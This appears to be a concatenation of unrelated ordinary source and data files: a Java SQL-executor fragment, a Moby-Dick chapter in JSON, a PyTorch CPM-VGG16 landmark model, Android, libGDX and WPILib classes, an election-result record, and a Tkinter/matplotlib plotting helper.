RelUtils.forbidDMLAllTableSql(phyTableModify.getNativeSqlNode());
}
}
}
public static void setParameters(java.sql.Statement stmt, Map<Integer, ParameterContext> parameterSettings)
throws SQLException {
if (!(stmt instanceof PreparedStatement)) {
return;
}
if (null != parameterSettings) {
for (ParameterContext context : parameterSettings.values()) {
context.getParameterMethod().setParameter((PreparedStatement) stmt, context.getArgs());
}
}
}
private void storeFailedDDLRecords(PhyDdlTableOperation ddl, String group, int code, String message) {
String tableName = null;
tableName = DdlHelper.genPhyTablePair(ddl, executionContext.getDdlContext()).getValue();
if (TStringUtil.isNotEmpty(tableName)) {
String pureTableName = tableName.replaceAll(DdlConstants.BACKTICK, DdlConstants.EMPTY_CONTENT);
String pureMessage = message.replaceAll(DdlConstants.BACKTICK, DdlConstants.EMPTY_CONTENT);
if (!pureMessage.toLowerCase().contains(pureTableName.toLowerCase())) {
// Make sure that the error message contains physical table name
// so that logical ddl executor can determine if the physical DDL
// has been executed successfully later.
message += " on " + tableName;
}
}
executionContext.addMessage(ExecutionContext.FailedMessage,
new ExecutionContext.ErrorMessage(code, group, message));
}
private void storeSuccessDDLRecords(PhyDdlTableOperation ddl, String group) {
executionContext.addMessage(ExecutionContext.SuccessMessage,
new ExecutionContext.ErrorMessage(0, group, "Success"));
}
private static class SqlAndParam {
public String sql;
public Map<Integer, ParameterContext> param;
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("sql: ").append(sql);
if (GeneralUtil.isNotEmpty(param)) {
sb.append("\n").append("param: ").append(param).append("\n");
}
return sb.toString();
}
}
public boolean isClosed() {
return closed;
}
protected String getCurrentDbkey(ITransaction.RW rw) {
TGroupDataSource dataSource = repo.getDataSource(groupName);
String currentDbKey = ANONAMOUS_DBKEY;
if (dataSource != null) {
if (connection != null) {
IConnection realConneciton = connection.getRealConnection();
if (realConneciton instanceof TGroupDirectConnection) {
currentDbKey = ((TGroupDirectConnection) realConneciton).getDbKey();
}
}
if (currentDbKey == ANONAMOUS_DBKEY) {
MasterSlave masterSlave =
ExecUtils.getMasterSlave(inTrans, rw.equals(ITransaction.RW.WRITE), executionContext);
currentDbKey =
dataSource.getConfigManager().getDataSource(
masterSlave).getDsConfHandle().getDbKey();
}
if (StringUtils.isEmpty(currentDbKey)) {
currentDbKey = ANONAMOUS_DBKEY;
}
}
return currentDbKey;
}
protected IConnection getPhyConnection(ITransaction trans, ITransaction.RW rw, String groupName)
throws SQLException {
return getPhyConnection(trans, rw, groupName, null);
}
protected IConnection getPhyConnection(ITransaction trans, ITransaction.RW rw, String groupName, DataSource ds)
throws SQLException {
if (groupName.equalsIgnoreCase(MetaDbDataSource.DEFAULT_META_DB_GROUP_NAME)) {
IConnection metaDbConn = new MetaDbConnectionProxy();
return metaDbConn;
}
DataSource dataSource = null == ds ? repo.getDataSource(groupName) : ds;
IConnection conn = trans.getConnection(repo.getSchemaName(),
groupName,
(TGroupDataSource) dataSource,
rw,
executionContext);
if (conn.getRealConnection() instanceof TGroupDirectConnection) {
this.connectionStats = conn.getConnectionStats();
collectConnectionStats();
}
return conn;
}
public void setOperatorStatistics(OperatorStatistics operatorStatisticsExt) {
this.operatorStatisticsExt = (OperatorStatisticsExt) operatorStatisticsExt;
}
protected void collectStatementStats() {
if (!enableTaskProfile) {
return;
}
if (runtimeStat != null) {
if (phySqlExecuted) {
runtimeStat
.addPhySqlTimecost(statementStats.getCreateAndInitStmtNano() + statementStats.getExecuteStmtNano());
runtimeStat.addPhySqlCount(1);
}
}
if (operatorStatisticsExt == null) {
return;
}
operatorStatisticsExt.setPrepateStmtEnvDuration(operatorStatisticsExt.getPrepateStmtEnvDuration()
+ statementStats.getPrepStmtEnvNano());
operatorStatisticsExt.setCreateAndInitJdbcStmtDuration(operatorStatisticsExt.getCreateAndInitJdbcStmtDuration()
+ statementStats.getCreateAndInitStmtNano());
if (phySqlExecuted) {
operatorStatisticsExt.setExecJdbcStmtDuration(operatorStatisticsExt.getExecJdbcStmtDuration()
+ statementStats.getExecuteStmtNano());
}
}
protected void collectStatementStatsForClose() {
if (!enableTaskProfile) {
return;
}
if (runtimeStat != null) {
if (executionType == ExecutionType.GET) {
runtimeStat.addPhyFetchRows(rowsAffect);
} else {
runtimeStat.addPhyAffectedRows(rowsAffect);
}
}
if (operatorStatisticsExt == null) {
return;
}
operatorStatisticsExt.setCloseJdbcResultSetDuration(operatorStatisticsExt.getCloseJdbcResultSetDuration()
+ statementStats.getCloseResultSetNano());
}
protected void collectConnectionStats() {
if (!enableTaskProfile) {
return;
}
long createConn = connectionStats.getCreateConnectionNano();
long waitConn = connectionStats.getWaitConnectionNano();
long initConn = connectionStats.getInitConnectionNano();
if (runtimeStat != null) {
runtimeStat.addPhyConnTimecost(createConn + waitConn + initConn);
}
if (operatorStatisticsExt == null) {
return;
}
operatorStatisticsExt.setCreateConnDuration(operatorStatisticsExt.getCreateConnDuration() + createConn);
operatorStatisticsExt.setWaitConnDuration(operatorStatisticsExt.getWaitConnDuration() + waitConn);
operatorStatisticsExt.setInitConnDuration(operatorStatisticsExt.getInitConnDuration() + initConn);
}
}
| 42,889 |
3,428 | <reponame>ghalimi/stdlib
{"chapter":"43","title":"Hark!","text":"\"HIST! Did you hear that noise, Cabaco?\"\n\nIt was the middle-watch; a fair moonlight; the seamen were standing in a cordon, extending from one of the fresh-water butts in the waist, to the scuttle-butt near the taffrail. In this manner, they passed the buckets to fill the scuttle-butt. Standing, for the most part, on the hallowed precincts of the quarter-deck, they were careful not to speak or rustle their feet. From hand to hand, the buckets went in the deepest silence, only broken by the occasional flap of a sail, and the steady hum of the unceasingly advancing keel.\n\nIt was in the midst of this repose, that Archy, one of the cordon, whose post was near the after-hatches, whispered to his neighbor, a Cholo, the words above.\n\n\"Hist! did you hear that noise, Cabaco?\"\n\n\"Take the bucket, will ye, Archy? what noise d'ye mean?\"\n\n\"There it is again—under the hatches—don't you hear it—a cough—it sounded like a cough.\"\n\n\"Cough be damned! Pass along that return bucket.\"\n\n\"There again—there it is!—it sounds like two or three sleepers turning over, now!\"\n\n\"Caramba! have done, shipmate, will ye? It's the three soaked biscuits ye eat for supper turning over inside of ye—nothing else. Look to the bucket!\"\n\n\"Say what ye will, shipmate; I've sharp ears.\"\n\n\"Aye, you are the chap, ain't ye, that heard the hum of the old Quakeress's knitting-needles fifty miles at sea from Nantucket; you're the chap.\"\n\n\"Grin away; we'll see what turns up. Hark ye, Cabaco, there is somebody down in the after-hold that has not yet been seen on deck; and I suspect our old Mogul knows something of it too. I heard Stubb tell Flask, one morning watch, that there was something of that sort in the wind.\"\n\n\"Tish! the bucket!\"\n"} | 537 |
612 | # Copyright (c) Facebook, Inc. and its affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
#
from __future__ import division
import time, math
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.utils.model_zoo as model_zoo
from collections import OrderedDict
from copy import deepcopy
from .model_utils import get_parameters
from .basic_batch import find_tensor_peak_batch
from .initialization import weights_init_cpm
class VGG16_base(nn.Module):
def __init__(self, config, pts_num):
super(VGG16_base, self).__init__()
self.config = deepcopy(config)
self.downsample = 8
self.pts_num = pts_num
self.features = nn.Sequential(
nn.Conv2d( 3, 64, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.Conv2d( 64, 64, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
nn.Conv2d( 64, 128, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(128, 128, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
nn.Conv2d(128, 256, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(256, 256, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(256, 256, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.MaxPool2d(kernel_size=2, stride=2),
nn.Conv2d(256, 512, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(512, 512, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(512, 512, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True))
self.CPM_feature = nn.Sequential(
nn.Conv2d(512, 256, kernel_size=3, padding=1), nn.ReLU(inplace=True), #CPM_1
nn.Conv2d(256, 128, kernel_size=3, padding=1), nn.ReLU(inplace=True)) #CPM_2
assert self.config.stages >= 1, 'stages of cpm must >= 1 not : {:}'.format(self.config.stages)
stage1 = nn.Sequential(
nn.Conv2d(128, 128, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(128, 128, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(128, 128, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(128, 128, kernel_size=3, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(128, 512, kernel_size=1, padding=0), nn.ReLU(inplace=True),
nn.Conv2d(512, pts_num, kernel_size=1, padding=0))
stages = [stage1]
for i in range(1, self.config.stages):
stagex = nn.Sequential(
nn.Conv2d(128+pts_num, 128, kernel_size=7, dilation=1, padding=3), nn.ReLU(inplace=True),
nn.Conv2d(128, 128, kernel_size=7, dilation=1, padding=3), nn.ReLU(inplace=True),
nn.Conv2d(128, 128, kernel_size=7, dilation=1, padding=3), nn.ReLU(inplace=True),
nn.Conv2d(128, 128, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(128, 128, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(128, 128, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(128, 128, kernel_size=3, dilation=1, padding=1), nn.ReLU(inplace=True),
nn.Conv2d(128, 128, kernel_size=1, padding=0), nn.ReLU(inplace=True),
nn.Conv2d(128, pts_num, kernel_size=1, padding=0))
stages.append( stagex )
self.stages = nn.ModuleList(stages)
def specify_parameter(self, base_lr, base_weight_decay):
params_dict = [ {'params': get_parameters(self.features, bias=False), 'lr': base_lr , 'weight_decay': base_weight_decay},
{'params': get_parameters(self.features, bias=True ), 'lr': base_lr*2, 'weight_decay': 0},
{'params': get_parameters(self.CPM_feature, bias=False), 'lr': base_lr , 'weight_decay': base_weight_decay},
{'params': get_parameters(self.CPM_feature, bias=True ), 'lr': base_lr*2, 'weight_decay': 0},
]
for stage in self.stages:
params_dict.append( {'params': get_parameters(stage, bias=False), 'lr': base_lr*4, 'weight_decay': base_weight_decay} )
params_dict.append( {'params': get_parameters(stage, bias=True ), 'lr': base_lr*8, 'weight_decay': 0} )
return params_dict
# return : cpm-stages, locations
def forward(self, inputs):
assert inputs.dim() == 4, 'This model accepts 4 dimension input tensor: {}'.format(inputs.size())
batch_size, feature_dim = inputs.size(0), inputs.size(1)
batch_cpms, batch_locs, batch_scos = [], [], []
feature = self.features(inputs)
xfeature = self.CPM_feature(feature)
for i in range(self.config.stages):
if i == 0: cpm = self.stages[i]( xfeature )
else: cpm = self.stages[i]( torch.cat([xfeature, batch_cpms[i-1]], 1) )
batch_cpms.append( cpm )
# The location of the current batch
for ibatch in range(batch_size):
batch_location, batch_score = find_tensor_peak_batch(batch_cpms[-1][ibatch], self.config.argmax, self.downsample)
batch_locs.append( batch_location )
batch_scos.append( batch_score )
batch_locs, batch_scos = torch.stack(batch_locs), torch.stack(batch_scos)
return batch_cpms, batch_locs, batch_scos
# use vgg16 conv1_1 to conv4_4 as feature extracation
model_urls = 'https://download.pytorch.org/models/vgg16-397923af.pth'
def cpm_vgg16(config, pts):
print ('Initialize cpm-vgg16 with configure : {}'.format(config))
model = VGG16_base(config, pts)
model.apply(weights_init_cpm)
if config.pretrained:
print ('vgg16_base use pre-trained model')
weights = model_zoo.load_url(model_urls)
model.load_state_dict(weights, strict=False)
return model
| 2,739 |
631 | <gh_stars>100-1000
package com.neu.his.dms.service;
import com.neu.his.common.dto.dms.DmsNonDrugModelParam;
import com.neu.his.common.dto.dms.DmsNonDrugModelResult;
import java.util.List;
/**
* 非药品模板
*/
public interface DmsNonDrugModelService {
/**
* 描述:创建模版
*/
public int createModel(DmsNonDrugModelParam dmsNonDrugModelParam);
/**
* 描述:删除模版
*/
int deleteModel(List<Long> ids);
/**
* 描述:删除模版项
*/
int deleteModelItem(Long modelId, List<Long> itemIds);
/**
* 描述:根据modelId更新model信息(删了重新创建)
*/
int updateModel(Long modelId, DmsNonDrugModelParam dmsNonDrugModelParam);
/**
* 描述:查询模板
*/
List<DmsNonDrugModelResult> selectModel(Integer type, DmsNonDrugModelParam queryParam, Integer pageSize, Integer pageNum);
}
| 439 |
707 | // Copyright (c) FIRST and other WPILib contributors.
// Open Source Software; you can modify and/or share it under the terms of
// the WPILib BSD license file in the root directory of this project.
package edu.wpi.first.wpilibj.simulation;
import edu.wpi.first.hal.SimDouble;
import edu.wpi.first.wpilibj.DutyCycleEncoder;
/** Class to control a simulated duty cycle encoder. */
public class DutyCycleEncoderSim {
private final SimDouble m_simPosition;
private final SimDouble m_simDistancePerRotation;
/**
* Constructs from an DutyCycleEncoder object.
*
* @param encoder DutyCycleEncoder to simulate
*/
public DutyCycleEncoderSim(DutyCycleEncoder encoder) {
SimDeviceSim wrappedSimDevice =
new SimDeviceSim("DutyCycle:DutyCycleEncoder" + "[" + encoder.getSourceChannel() + "]");
m_simPosition = wrappedSimDevice.getDouble("position");
m_simDistancePerRotation = wrappedSimDevice.getDouble("distance_per_rot");
}
/**
* Set the position in turns.
*
* @param turns The position.
*/
public void set(double turns) {
m_simPosition.set(turns);
}
/**
* Set the position.
*
* @param distance The position.
*/
public void setDistance(double distance) {
m_simPosition.set(distance / m_simDistancePerRotation.get());
}
}
| 438 |
2,564 | <filename>gdxlibrary/src/main/java/com/badlogic/gdx/math/InputAdapter.java
package com.badlogic.gdx.math;
/**
* @author ferrisXu
* 创建日期:2019/2/26
* 描述:
*/
/** An adapter class for {@link InputProcessor}. You can derive from this and only override what you are interested in.
*
* @author mzechner */
public class InputAdapter implements InputProcessor {
public boolean keyDown (int keycode) {
return false;
}
public boolean keyUp (int keycode) {
return false;
}
public boolean keyTyped (char character) {
return false;
}
public boolean touchDown (int screenX, int screenY, int pointer, int button) {
return false;
}
public boolean touchUp (int screenX, int screenY, int pointer, int button) {
return false;
}
public boolean touchDragged (int screenX, int screenY, int pointer) {
return false;
}
@Override
public boolean mouseMoved (int screenX, int screenY) {
return false;
}
@Override
public boolean scrolled (int amount) {
return false;
}
}
| 418 |
348 | <reponame>chamberone/Leaflet.PixiOverlay
{"nom":"Pont-les-Moulins","circ":"3ème circonscription","dpt":"Doubs","inscrits":134,"abs":63,"votants":71,"blancs":9,"nuls":3,"exp":59,"res":[{"nuance":"REM","nom":"M. <NAME>","voix":32},{"nuance":"LR","nom":"<NAME>","voix":27}]} | 113 |
328 | package com.stx.xhb.dmgameapp.mvp.ui.adapter;
import android.content.Context;
import android.view.View;
import android.widget.ImageView;
import com.bumptech.glide.Glide;
import com.chad.library.adapter.base.BaseQuickAdapter;
import com.chad.library.adapter.base.BaseViewHolder;
import com.stx.xhb.dmgameapp.R;
import com.stx.xhb.dmgameapp.mvp.ui.activity.WebDetailsActivity;
import com.stx.xhb.dmgameapp.data.entity.VideoListBean;
/**
* Author : jxnk25
* Time: 2017/10/23 0023
* Email:<EMAIL>
* Email:<EMAIL>
* Github:https://github.com/xiaohaibin/
* Drscribe:
*/
public class GameVideoListAdapter extends BaseQuickAdapter<VideoListBean.VideoBean, BaseViewHolder> {
private Context context;
public GameVideoListAdapter(Context context) {
super(R.layout.list_item_video);
this.context = context;
}
@Override
protected void convert(BaseViewHolder helper, final VideoListBean.VideoBean data) {
helper.setText(R.id.tv_video_title, data.getTitle());
helper.setText(R.id.tv_video_time, data.getSenddate());
helper.setText(R.id.tv_play_count, data.getClick() + "次播放");
ImageView mIvVideoImg = helper.getView(R.id.iv_video_img);
Glide.with(context).load(data.getVideopic()).into(mIvVideoImg);
helper.itemView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
WebDetailsActivity.start(context, data.getVideourl(),data.getDescription(),data.getVideopic());
}
});
}
}
| 645 |
311 | <gh_stars>100-1000
#!/usr/bin/env python
"""
Module for basic plotting inside the TableCanvas. Uses matplotlib.
Created August 2008
Copyright (C) <NAME>
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
"""
from __future__ import absolute_import, print_function
import sys, os
import copy
try:
from tkinter import *
from tkinter.ttk import *
except:
from Tkinter import *
from ttk import *
if (sys.version_info > (3, 0)):
from tkinter import filedialog, messagebox, simpledialog
else:
import tkFileDialog as filedialog
import tkSimpleDialog as simpledialog
import tkMessageBox as messagebox
from math import *
try:
import numpy
except:
pass
import matplotlib
matplotlib.use('TkAgg')
from matplotlib.font_manager import FontProperties
import pylab
class pylabPlotter(object):
"""An interface to matplotlib for general plotting and stats, using tk backend"""
colors = ['#0049B4','#C90B11','#437C17','#AFC7C7','#E9AB17','#7F525D','#F6358A',
'#52D017','#FFFC17','#F76541','#F62217' ]
linestyles = ['-','--']
shapes = ['o','-','--',':','.' ,'p','^','<','s','+','x','D','1','4','h']
legend_positions = ['best', 'upper left','upper center','upper right',
'center left','center','center right'
'lower left','lower center','lower right']
graphtypes = ['XY', 'hist', 'bar', 'pie']
fonts = ['serif', 'sans-serif', 'cursive', 'fantasy', 'monospace']
def __init__(self):
#Setup variables
self.shape = 'o'
self.grid = 0
self.xscale = 0
self.yscale = 0
self.showlegend = 0
self.legendloc = 'best'
self.legendlines = []
self.legendnames = []
self.graphtype = 'XY'
self.datacolors = self.colors
self.dpi = 300
self.linewidth = 1.5
self.font = 'sans-serif'
self.fontsize = 12
try:
self.setupPlotVars()
except:
print ('no tk running')
self.currdata = None
#self.format = None #data format
self.plottitle = ''
self.plotxlabel = ''
self.plotylabel = ''
return
def plotXY(self, x, y, title='', xlabel=None, ylabel=None, shape=None,
clr=None, lw=1):
"""Do x-y plot of 2 lists"""
if shape == None:
shape = self.shape
if clr == None:
clr = 'b'
if self.xscale == 1:
if self.yscale == 1:
line, = pylab.loglog(x, y, shape, color=clr, linewidth=lw)
else:
line, = pylab.semilogx(x, y, shape, color=clr, linewidth=lw)
elif self.yscale == 1:
line, = pylab.semilogy(x, y, shape, color=clr, linewidth=lw)
else:
line, = pylab.plot(x, y, shape, color=clr, linewidth=lw)
return line
def doHistogram(self, data, bins=10):
"""Do a pylab histogram of 1 or more lists"""
if len(data) == 1:
ydim=1
else:
ydim=2
dim=int(ceil(len(data)/2.0))
i=1
#fig = pylab.figure()
for r in data:
if len(r)==0:
continue
ax = pylab.subplot(ydim,dim,i)
print (r)
for j in range(len(r)):
r[j] = float(r[j])
pylab.hist(r,bins=bins)
i=i+1
return ax
def doBarChart(self, x, y, clr):
"""Do a pylab bar chart"""
#xloc = range(len(x))
for i in range(len(x)):
x[i] = float(x[i]);y[i] = float(y[i])
plotfig = pylab.bar(x, y, color=clr, alpha=0.6)
return plotfig
def doPieChart(self, data):
"""Do a pylab bar chart"""
if len(data) == 1:
ydim=1
else:
ydim=2
dim=int(ceil(len(data)/2.0))
i=1
for r in data:
if len(r)==0:
continue
fig = pylab.subplot(ydim,dim,i)
for j in range(len(r)):
r[j] = float(r[j])
pylab.pie(r)
i=i+1
return
def setData(self, data):
"""Set the current plot data, useful for re-plotting without re-calling
explicit functions from the parent"""
self.currdata = data
return
def hasData(self):
"""Is there some plot data?"""
if self.currdata != None and len(self.currdata) > 0:
return True
else:
return False
def setDataSeries(self, names=None, start=1):
"""Set the series names, for use in legend"""
self.dataseriesvars=[]
for i in range(start,len(names)):
s=StringVar()
s.set(names[i])
self.dataseriesvars.append(s)
#print self.dataseriesvars
return
def setFormat(self, format):
"""Set current data format of currdata"""
self.format = format
return
def plotCurrent(self, data=None, graphtype='bar', show=True, guiopts=False,title=None):
"""Re-do the plot with the current options and data"""
if guiopts == True:
self.applyOptions()
if title != None:
self.settitle(title)
self.clear()
currfig = pylab.figure(1)
if data == None:
try:
data = self.currdata
except:
print ('no data to plot')
return
else:
self.setData(data)
seriesnames = []
legendlines = []
for d in self.dataseriesvars:
seriesnames.append(d.get())
self.graphtype = graphtype
#do an X-Y plot, with the first list as X xals
if self.graphtype == 'bar' or len(data) == 1:
i=0
pdata = copy.deepcopy(data)
if len(pdata)>1:
x = pdata[0]
pdata.remove(x)
for y in pdata:
if i >= len(self.colors):
i = 0
c = self.colors[i]
self.doBarChart(x, y, clr=c)
i+=1
else:
y = pdata[0]
x = range(len(y))
self.doBarChart(x, y, clr='b')
elif self.graphtype == 'XY':
pdata = copy.deepcopy(data)
x = pdata[0]
pdata.remove(x)
i=0
for y in pdata:
if i >= len(self.colors):
i = 0
c = self.colors[i]
line = self.plotXY(x, y, clr=c, lw=self.linewidth)
legendlines.append(line)
i+=1
elif self.graphtype == 'hist':
self.doHistogram(data)
elif self.graphtype == 'pie':
self.doPieChart(data)
pylab.title(self.plottitle)
pylab.xlabel(self.plotxlabel)
pylab.ylabel(self.plotylabel)
#create legend data
if self.showlegend == 1:
pylab.legend(legendlines,seriesnames,
loc=self.legendloc)
if self.grid == 1:
pylab.grid(True)
if show == True:
self.show()
return currfig
def clear(self):
"""clear plot"""
pylab.clf()
self.legendlines = []
self.legendnames = []
return
def show(self):
pylab.show()
return
def saveCurrent(self, filename=None):
import tkFileDialog, os
filename=tkFileDialog.asksaveasfilename(parent=self.plotprefswin,
defaultextension='.png',
filetypes=[("Png file","*.png"),
("All files","*.*")])
if not filename:
return
fig = self.plotCurrent(show=False)
fig.savefig(filename, dpi=self.dpi)
return
def setTitle(self, title=None):
self.plottitle = title
def setxlabel(self, label=None):
self.plotxlabel = label
def setylabel(self, label=None):
self.plotylabel = label
def setOptions(self, shape=None, grid=None, xscale=None, yscale=None,
showlegend=None, legendloc=None, linewidth=None,
graphtype=None, font=None, fontsize=None):
"""Set the options before plotting"""
if shape != None:
self.shape = shape
if grid != None:
self.grid = grid
if xscale != None:
self.xscale = xscale
if yscale != None:
self.yscale = yscale
if showlegend != None:
self.showlegend = showlegend
if legendloc != None:
self.legendloc = legendloc
if linewidth != None:
self.linewidth = linewidth
if graphtype !=None:
self.graphtype = graphtype
if font != None:
self.font = font
if fontsize != None:
self.fontsize = fontsize
pylab.rc("font", family=self.font, size=self.fontsize)
return
def setupPlotVars(self):
"""Plot Vars """
self.pltgrid = IntVar()
self.pltlegend = IntVar()
self.pltsymbol = StringVar()
self.pltsymbol.set(self.shape)
self.legendlocvar = StringVar()
self.legendlocvar.set(self.legendloc)
self.xscalevar = IntVar()
self.yscalevar = IntVar()
self.xscalevar.set(0)
self.yscalevar.set(0)
self.graphtypevar = StringVar()
self.graphtypevar.set(self.graphtype)
self.linewidthvar = DoubleVar()
self.linewidthvar.set(self.linewidth)
self.fontvar = StringVar()
self.fontvar.set(self.font)
self.fontsizevar = DoubleVar()
self.fontsizevar.set(self.fontsize)
#plot specific
self.plottitlevar = StringVar()
self.plottitlevar.set('')
self.plotxlabelvar = StringVar()
self.plotxlabelvar.set('')
self.plotylabelvar = StringVar()
self.plotylabelvar.set('')
self.dataseriesvars=[]
return
def applyOptions(self):
"""Apply the gui option vars to the plotter options"""
self.setOptions(shape=self.pltsymbol.get(), grid=self.pltgrid.get(),
xscale=self.xscalevar.get(), yscale=self.yscalevar.get(),
showlegend = self.pltlegend.get(),
legendloc = self.legendlocvar.get(),
linewidth = self.linewidthvar.get(),
graphtype = self.graphtypevar.get(),
font = self.fontvar.get(),
fontsize = self.fontsizevar.get())
self.setTitle(self.plottitlevar.get())
self.setxlabel(self.plotxlabelvar.get())
self.setylabel(self.plotylabelvar.get())
return
def plotSetup(self, data=None):
"""Plot options dialog"""
if data != None:
self.setData(data)
self.plotprefswin=Toplevel()
self.plotprefswin.geometry('+300+450')
self.plotprefswin.title('Plot Preferences')
row=0
frame1=LabelFrame(self.plotprefswin, text='General')
frame1.grid(row=row,column=0,sticky='news',padx=2,pady=2)
def close_prefsdialog():
self.plotprefswin.destroy()
def choosecolor(x):
"""Choose color for data series"""
d=x[0]
c=x[1]
#print 'passed', 'd',d, 'c',c
import tkColorChooser
colour,colour_string = tkColorChooser.askcolor(c,parent=self.plotprefswin)
if colour != None:
self.datacolors[d] = str(colour_string)
cbuttons[d].configure(bg=colour_string)
return
Checkbutton(frame1, text="Grid lines", variable=self.pltgrid,
onvalue=1, offvalue=0).grid(row=0,column=0, columnspan=2, sticky='news')
Checkbutton(frame1, text="Legend", variable=self.pltlegend,
onvalue=1, offvalue=0).grid(row=1,column=0, columnspan=2, sticky='news')
Label(frame1,text='Symbol:').grid(row=2,column=0,padx=2,pady=2)
symbolbutton = Menubutton(frame1,textvariable=self.pltsymbol,
relief=GROOVE, width=16, bg='lightblue')
symbol_menu = Menu(symbolbutton, tearoff=0)
symbolbutton['menu'] = symbol_menu
for text in self.shapes:
symbol_menu.add_radiobutton(label=text,
variable=self.pltsymbol,
value=text,
indicatoron=1)
symbolbutton.grid(row=2,column=1, sticky='news',padx=2,pady=2)
row=row+1
Label(frame1,text='Legend pos:').grid(row=3,column=0,padx=2,pady=2)
legendposbutton = Menubutton(frame1,textvariable=self.legendlocvar,
relief=GROOVE, width=16, bg='lightblue')
legendpos_menu = Menu(legendposbutton, tearoff=0)
legendposbutton['menu'] = legendpos_menu
i=0
for p in self.legend_positions:
legendpos_menu.add_radiobutton(label=p,
variable=self.legendlocvar,
value=p,
indicatoron=1)
i+=1
legendposbutton.grid(row=3,column=1, sticky='news',padx=2,pady=2)
Label(frame1,text='Font:').grid(row=4,column=0,padx=2,pady=2)
fontbutton = Menubutton(frame1,textvariable=self.fontvar,
relief=GROOVE, width=16, bg='lightblue')
font_menu = Menu(fontbutton, tearoff=0)
fontbutton['menu'] = font_menu
for f in self.fonts:
font_menu.add_radiobutton(label=f,
variable=self.fontvar,
value=f,
indicatoron=1)
fontbutton.grid(row=4,column=1, sticky='news',padx=2,pady=2)
row=row+1
Label(frame1,text='Font size:').grid(row=5,column=0,padx=2,pady=2)
Scale(frame1,from_=8,to=26,resolution=0.5,orient='horizontal',
relief=GROOVE,variable=self.fontsizevar).grid(row=5,column=1,padx=2,pady=2)
Label(frame1,text='linewidth:').grid(row=6,column=0,padx=2,pady=2)
Scale(frame1,from_=1,to=10,resolution=0.5,orient='horizontal',
relief=GROOVE,variable=self.linewidthvar).grid(row=6,column=1,padx=2,pady=2)
row=0
scalesframe = LabelFrame(self.plotprefswin, text="Axes Scales")
scales={0:'norm',1:'log'}
for i in range(0,2):
Radiobutton(scalesframe,text='x-'+scales[i],variable=self.xscalevar,
value=i).grid(row=0,column=i,pady=2)
Radiobutton(scalesframe,text='y-'+scales[i],variable=self.yscalevar,
value=i).grid(row=1,column=i,pady=2)
scalesframe.grid(row=row,column=1,sticky='news',padx=2,pady=2)
row=row+1
frame=LabelFrame(self.plotprefswin, text='Graph type')
frame.grid(row=row,column=0,columnspan=2,sticky='news',padx=2,pady=2)
for i in range(len(self.graphtypes)):
Radiobutton(frame,text=self.graphtypes[i],variable=self.graphtypevar,
value=self.graphtypes[i]).grid(row=0,column=i,pady=2)
row=row+1
labelsframe = LabelFrame(self.plotprefswin,text='Labels')
labelsframe.grid(row=row,column=0,columnspan=2,sticky='news',padx=2,pady=2)
Label(labelsframe,text='Title:').grid(row=0,column=0,padx=2,pady=2)
Entry(labelsframe,textvariable=self.plottitlevar,bg='white',relief=GROOVE).grid(row=0,column=1,padx=2,pady=2)
Label(labelsframe,text='X-axis label:').grid(row=1,column=0,padx=2,pady=2)
Entry(labelsframe,textvariable=self.plotxlabelvar,bg='white',relief=GROOVE).grid(row=1,column=1,padx=2,pady=2)
Label(labelsframe,text='Y-axis label:').grid(row=2,column=0,padx=2,pady=2)
Entry(labelsframe,textvariable=self.plotylabelvar,bg='white',relief=GROOVE).grid(row=2,column=1,padx=2,pady=2)
if self.currdata != None:
#print self.dataseriesvars
row=row+1
seriesframe = LabelFrame(self.plotprefswin, text="Data Series Labels")
seriesframe.grid(row=row,column=0,columnspan=2,sticky='news',padx=2,pady=2)
#self.dataseriesvars=[]
if len(self.dataseriesvars) == 0:
self.setDataSeries(range(len(self.currdata)))
r=1
sr=1
cl=0
for s in self.dataseriesvars:
Label(seriesframe,text='Series '+str(r)).grid(row=r,column=cl,padx=2,pady=2)
Entry(seriesframe,textvariable=s,bg='white',
relief=GROOVE).grid(row=r,column=cl+1,padx=2,pady=2)
r+=1
if r > 8:
r=1
cl+=2
row=row+1
cbuttons = {}
frame = LabelFrame(self.plotprefswin, text="Dataset Colors")
r=1
cl=0
sr=1
ci=0
for d in range(len(self.dataseriesvars)):
if d >= len(self.datacolors):
self.datacolors.append(self.colors[ci])
ci+=1
c = self.datacolors[d]
action = lambda x =(d,c): choosecolor(x)
cbuttons[d]=Button(frame,text='Series '+str(sr),bg=c,command=action)
cbuttons[d].grid(row=r,column=cl,sticky='news',padx=2,pady=2)
r+=1
sr+=1
if r > 8:
r=1
cl+=1
frame.grid(row=row,column=0,columnspan=2,sticky='news',padx=2,pady=2)
row=row+1
frame=Frame(self.plotprefswin)
